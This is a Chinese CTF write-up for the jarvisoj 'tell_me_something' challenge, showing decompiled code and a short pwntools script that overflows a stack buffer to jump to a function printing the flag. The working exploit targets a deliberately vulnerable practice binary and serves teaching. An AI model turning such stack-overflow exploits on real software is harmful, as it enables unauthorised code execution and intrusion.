jarvisoj_tell_me_something

题目链接:jarvisoj_tell_me_something

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-88h] BYREF

  write(1, "Input your message:\n", 0x14uLL);
  read(0, &v4, 0x100uLL);
  return write(1, "I have received your message, Thank you!\n", 0x29uLL);
}

留意到存在 good_game 函数,如下。

int good_game()
{
  FILE *v0; // rbx
  int result; // eax
  char buf[9]; // [rsp+Fh] [rbp-9h] BYREF

  v0 = fopen("flag.txt", "r");
  while ( 1 )
  {
    result = fgetc(v0);
    buf[0] = result;
    if ( (_BYTE)result == 0xFF )
      break;
    write(1, buf, 1uLL);
  }
  return result;
}

解题思路:

  1. 利用栈溢出,劫持程序执行 good_game 函数,即可拿到 flag。

解题脚本如下。

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    sa('Input your message:\n', 0x88 * b'a' + p64(0x0000000000400620))
    irt()

pwn()
posted @ 2025-09-06 13:10  imtaieee  阅读(12)  评论(0)    收藏  举报